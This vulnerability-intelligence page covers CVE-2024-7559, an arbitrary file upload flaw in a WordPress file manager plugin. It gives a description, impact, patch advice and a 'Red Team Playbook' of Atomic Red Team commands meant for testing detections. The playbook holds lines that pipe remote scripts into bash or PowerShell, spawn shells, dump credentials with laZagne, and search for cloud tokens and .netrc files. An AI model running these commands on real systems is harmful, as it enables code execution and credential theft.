CVE-2024-7559
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient input validation and missing capability checks within the mk_file_folder_manager AJAX action of the File Manager Pro WordPress plugin. The affected component fails to properly verify file types and user permissions before processing upload requests, allowing unauthorized file injection. The flaw exists in all plugin versions up to and including 8.3.7.
Vulnerability Description
The File Manager Pro plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation and capability checks in the mk_file_folder_manager AJAX action in all versions up to, and including, 8.3.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Subscriber-level authentication can upload arbitrary files to the server hosting the vulnerable plugin, potentially leading to remote code execution and full system compromise. This requires no user interaction beyond authentication and can be exploited remotely over the network. The vulnerability enables unauthorized code deployment, data breach, or service disruption, aligning with the CVSS vector indicating low attack complexity and high impact on confidentiality, integrity, and availability.
Solution
Users should upgrade File Manager Pro to version 8.3.8 or later, where the vulnerability is patched by implementing proper file type validation and capability checks in the mk_file_folder_manager AJAX action. Detailed patch instructions and version updates are available in the vendor advisory at https://filemanagerpro.io/file-manager-pro/ and the Wordfence vulnerability report (ID f4b45791-4b85-4a2d-8019-1d438bd694cb). No alternative workarounds are recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the File Manager Pro plugin for WordPress stems from inadequate validation of file types and insufficient capability checks within the mk_file_folder_manager AJAX action. This oversight allows authenticated users, even those with minimal permissions such as Subscriber-level access, to upload arbitrary files to the server. The lack of stringent checks means that attackers can exploit this weakness to introduce malicious files, potentially leading to remote code execution. This vulnerability is particularly concerning because it bypasses the typical restrictions that would prevent unauthorized file uploads, effectively undermining the security model of the WordPress environment.
Attack vectors for this vulnerability are straightforward yet highly effective. An authenticated user can leverage the AJAX action to upload files without the necessary checks in place. For instance, an attacker with Subscriber-level access could craft a request that includes a malicious PHP script disguised as an innocuous file type, such as an image or document. Once uploaded, the attacker could execute this file on the server, gaining unauthorized access to sensitive data or control over the web application. This scenario highlights the ease with which an attacker can exploit the vulnerability, especially in environments where user roles are not strictly monitored or controlled.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on WordPress for their online presence. Successful exploitation could lead to data breaches, defacement of websites, or the installation of backdoors, which would allow attackers to maintain persistent access. The consequences of such incidents can include significant financial losses, reputational damage, and potential legal ramifications, especially if sensitive customer data is compromised. Furthermore, the ease of exploitation means that even less sophisticated attackers could pose a significant threat, increasing the urgency for organizations to address this vulnerability.
Detection and mitigation strategies are critical for organizations using the affected plugin. Regular security audits and vulnerability assessments should be conducted to identify and remediate such weaknesses. Implementing a web application firewall (WAF) can help filter out malicious requests before they reach the server. Additionally, organizations should enforce strict user role management, ensuring that only trusted users have the ability to upload files. Updating the File Manager Pro plugin to the latest version, where this vulnerability has been addressed, is essential. Furthermore, employing file type validation and restricting upload capabilities to only necessary file types can significantly reduce the attack surface.
In conclusion, the vulnerability in the File Manager Pro plugin for WordPress represents a significant risk that could lead to severe consequences for affected organizations. The combination of inadequate file type validation and insufficient capability checks creates a pathway for attackers to exploit the system, posing a threat to data integrity and security. Organizations must prioritize detection and mitigation strategies to safeguard their environments, ensuring that they remain vigilant against such vulnerabilities in the ever-evolving landscape of cybersecurity threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Filemanagerpro.io | File Manager Pro | All |
cpe:2.3:a:filemanagerpro.io:file_manager_pro:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7559 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f4b45791-4b85-4a2d-8019-1d438bd694cb?source=cve |
| filemanagerpro.io |
GitHub CVE
|
https://filemanagerpro.io/file-manager-pro/ |